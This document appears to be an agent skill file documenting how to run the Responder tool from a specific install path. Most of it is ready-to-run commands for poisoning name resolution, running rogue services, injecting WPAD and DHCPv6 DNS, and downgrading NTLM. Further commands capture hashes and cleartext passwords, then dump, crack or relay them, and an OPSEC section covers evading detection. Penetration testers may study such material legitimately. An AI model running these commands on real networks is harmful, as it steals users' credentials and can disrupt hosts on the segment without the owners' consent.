responder

Poison LLMNR, NBT-NS and mDNS plus rogue SMB/HTTP/LDAP/MSSQL servers to capture NetNTLM hashes, cleartext logons and WPAD proxy auth. Use when you have a foothold on a LAN segment and need credentials

SKILL.md

GitHub

Responder

Responder answers broadcast and multicast name-resolution requests that Windows falls back to when DNS fails, then impersonates whatever service the client was trying to reach. The result is NetNTLMv1/v2 challenges, cleartext Basic/LDAP/FTP logons and, with WPAD, proxy authentication. On this host it lives at /opt/repos/Responder (fork at commit 424fbe5, Responder 3.2.2.0) with no responder binary on PATH, only a zsh alias; always cd into the repo first because Responder.conf, logs/ and Responder.db resolve relative to the install directory.

When to use

Goal Mode Command shape
See what the segment talks without poisoning analyze Responder.py -I eth0 -Av
Capture NetNTLM hashes from typos and dead hosts poison Responder.py -I eth0 -v
Collect proxy auth from WPAD clients -P Responder.py -I eth0 -Pv
Inject WPAD via DHCP then catch proxy auth -d -P Responder.py -I eth0 -Pvd
Same but force the wpad.dat fetch to authenticate -wF Responder.py -I eth0 -wFv
IPv6 DNS takeover for hosts that ignore DHCP --dhcpv6 Responder.py -I eth0 --dhcpv6 -vP
Accept only selected names or subnets config Responder.conf -> RespondTo, RespondToName
Feed relay instead of cracking relay SMB = Off, HTTP = Off + ntlmrelayx.py

Responder is a capture tool. It cannot relay, cannot privilege-escalate a session and cannot forge tickets: hand the hashes to hashcat, or disable its servers and let impacket ntlmrelayx.py answer the same SMB/HTTP ports.

Prerequisites

  • Root. The poisoners use raw sockets and the servers bind 53/80/443/445/139/389/1433/21/25/110/3389; the README states root privileges are required and unprivileged runs fail with Permission denied.
  • The host zsh profile defines alias responder='sudo python3 /opt/repos/Responder/Responder.py'; in a non-interactive shell call the interpreter path directly.
  • python3-netifaces, aioquic (already installed for this checkout).
  • Layer-2 adjacency to the victims. Across a router you see nothing; use mitm6/coercer instead.
  • Confirm the version first, since this fork differs from upstream docs:
cd /opt/repos/Responder
python3 Responder.py --version        # Responder 3.2.2.0

Core invocations

# 1. Passive scoping: log who asks for what, poison nothing
sudo python3 Responder.py -I eth0 -Av

# 2. Standard hash capture (LLMNR + NBT-NS + mDNS, all rogue servers)
sudo python3 Responder.py -I eth0 -v

# 3. Proxy auth only: most reliable capture against hardened modern clients
sudo python3 Responder.py -I eth0 -Pv

# 4. DHCP injects WPAD, proxy auth catches the CONNECT
sudo python3 Responder.py -I eth0 -Pvd

# 5. WPAD web server plus forced auth on wpad.dat (client may prompt a user)
sudo python3 Responder.py -I eth0 -wFv

# 6. IPv6 DNS takeover when hosts ignore DHCPv4 (can disrupt the segment)
sudo python3 Responder.py -I eth0 --dhcpv6 -vP

# 7. Answer as a different address than the interface's own
sudo python3 Responder.py -I eth0 -e 10.10.10.99 -v

# 8. Return STATUS_LOGON_FAILURE so clients fall back to WebDAV auth
sudo python3 Responder.py -I eth0 -Ev

# 9. Legacy downgrade: NTLMv1 / no ESS, only for old hosts
sudo python3 Responder.py -I eth0 --lm --disable-ess -v

# 10. Random TTL on poisoned answers, harder to fingerprint by TTL math
sudo python3 Responder.py -I eth0 -t random -v

# 11. Run on every interface at once (noisy, easy to overreach)
sudo python3 Responder.py -I ALL -v

# 12. Low-noise background capture; logs still land in ./logs
sudo python3 Responder.py -I eth0 -Q >/tmp/resp.out 2>&1 &

# 13. Harvest captured hashes out of the SQLite store as crackable files
cd /opt/repos/Responder && python3 DumpHash.py    # writes DumpNTLMv2.txt, DumpNTLMv1.txt

# 14. Crack what you captured (needs a working hashcat backend, see hashcat skill)
hashcat -m 5600 DumpNTLMv2.txt /opt/wordlists/rockyou.txt

Relay mode is a config change, not a flag: set SMB = Off and HTTP = Off under [Responder Core] in Responder.conf, then point ntlmrelayx.py -tf relay.txt -smb2support at the same segment.

Flags that matter

Flag Effect Note
-I interface, required for every mode including -A ALL binds everything
-A analyze only, no poisoning writes logs/Analyzer-Session.log
-d DHCPv4 answers with WPAD injected does not answer hashes by itself
-D DHCPv4 answers with attacker DNS different effect from -d
--dhcpv6 DHCPv6 DNS takeover help text warns May disrupt network
-w start the WPAD rogue proxy cannot be combined with -P
-F force auth on wpad.dat retrieval can show a credential prompt
-P force proxy authentication help calls it Highly effective
-b HTTP Basic instead of NTLM yields cleartext, logged separately
--lm, --disable-ess NTLMv1 downgrade only useful on XP/2003-era hosts
-E return STATUS_LOGON_FAILURE triggers WebDAV auth capture
-e, -6 poison with a chosen IPv4/IPv6 for when the interface IP is wrong
-t TTL for poisoned answers, hex or random 30s = 1e
-N canonical name in LLMNR answers used for Kerberos relay over HTTP
-v, -Q verbose / quiet -v is the practical default

Workflow

  1. Scope passively. -I <iface> -Av for a few minutes. Read logs/Analyzer-Session.log to learn which hosts still leak NBT-NS/LLMNR and which names they ask for.
  2. Pick the smallest capture surface. If WPAD names appear, -P alone is quieter than full poisoning. If only typo'd hostnames appear, plain poisoning is enough.
  3. Trim the config before a real run. RespondTo/DontRespondTo restrict by subnet; DontRespondToName keeps you off NAC/IDS hostnames. AutoIgnoreAfterSuccess = On stops re-answering a host once you have its hash.
  4. Capture, then decide. Hashes are cheap but noisy. If a hash belongs to a machine account or a service account with relay potential, switch to ntlmrelayx instead of cracking.
  5. Crack offline. NetNTLMv2 is mode 5600. On this 2 vCPU box hashcat has no compute backend at the moment, so plan the crack for another host; see hashcat for modes and rules.
  6. Collect artifacts. logs/SMB-NTLMv2-Client-*.txt, logs/HTTP-NTLMv2-Client-*.txt and Responder.db are the evidence; Responder-Session.log is the timeline.
  7. Stop cleanly. Ctrl-C restores nothing, so re-check the network: poisoned caches clear on TTL expiry, but a lingering -d DHCP run keeps answering.

OPSEC and telemetry

  • LLMNR/NBT-NS poisoning is loud by design: clients that fail name resolution emit failed DNS/NBT events, and any IDS with a poisoning signature fires on the first spoofed answer.
  • -b captures cleartext passwords in logs/HTTP-Clear-Text-Password-*.txt; treat those files as engagement evidence and encrypt them.
  • --dhcpv6 and -d change client network configuration and can black-hole hosts; scope to a lab VLAN or a small RespondTo range.
  • Hashes land on disk by default. Responder-Session.log and the SQLite DB both record victim IPs and usernames; delete or encrypt them after extraction.
  • Relayed authentications show as normal 4624 logons on the target, not on the victim, so successful relay is quiet on the coerced host's log.

Failure modes

Symptom Cause Fix
Permission denied on start not root sudo, or run from a root shell
Address already in use smbd/nmbd, a web server, or a second Responder systemctl stop smbd nmbd; ss -tulpn | grep -E '445|80'
-I error / usage printout interface missing or misspelled ip -brief link
Analyze mode is silent no legacy resolution fallback on the segment normal for DNS-clean networks; switch to mitm6
Runs but no hashes servers disabled in Responder.conf check SMB/HTTP/LDAP are On
Only $-suffixed machine names those are computer accounts, filtered by DumpHash expected; machine hashes are still useful for relay
WPAD flags conflict -w and -P are mutually exclusive pick -wF or -P
IPv6 poisoning does nothing IPv6 disabled on the victim or your box sysctl net.ipv6.conf.all.disable_ipv6 must be 0
Hash file exists but hashcat rejects it wrong -m mode (v1 vs v2) -m 5600 for NetNTLMv2, -m 5500 for v1

Verification

python3 /opt/repos/Responder/Responder.py --version     # Responder 3.2.2.0
python3 /opt/repos/Responder/Responder.py -h | head -20 # banner plus option group headings
ls /opt/repos/Responder/logs                            # per-protocol hash files appear after a capture
python3 -c "import sqlite3;print([r[0] for r in sqlite3.connect('/opt/repos/Responder/Responder.db').execute('select name from sqlite_master')])"

A healthy run prints the poisoner banner with every enabled service, then [*] [LLMNR] Poisoned answer sent to ... lines. Absence of those lines in -v means nothing on the segment is asking.

Related skills

  • mitm6 when the network is IPv6-capable and LLMNR is already off
  • hashcat to crack NetNTLMv2, NTLMv1 and Kerberos captures
  • kerbrute to validate usernames seen in the captures
  • coercer to force authentication from hosts that never broadcast
  • netexec to use what you cracked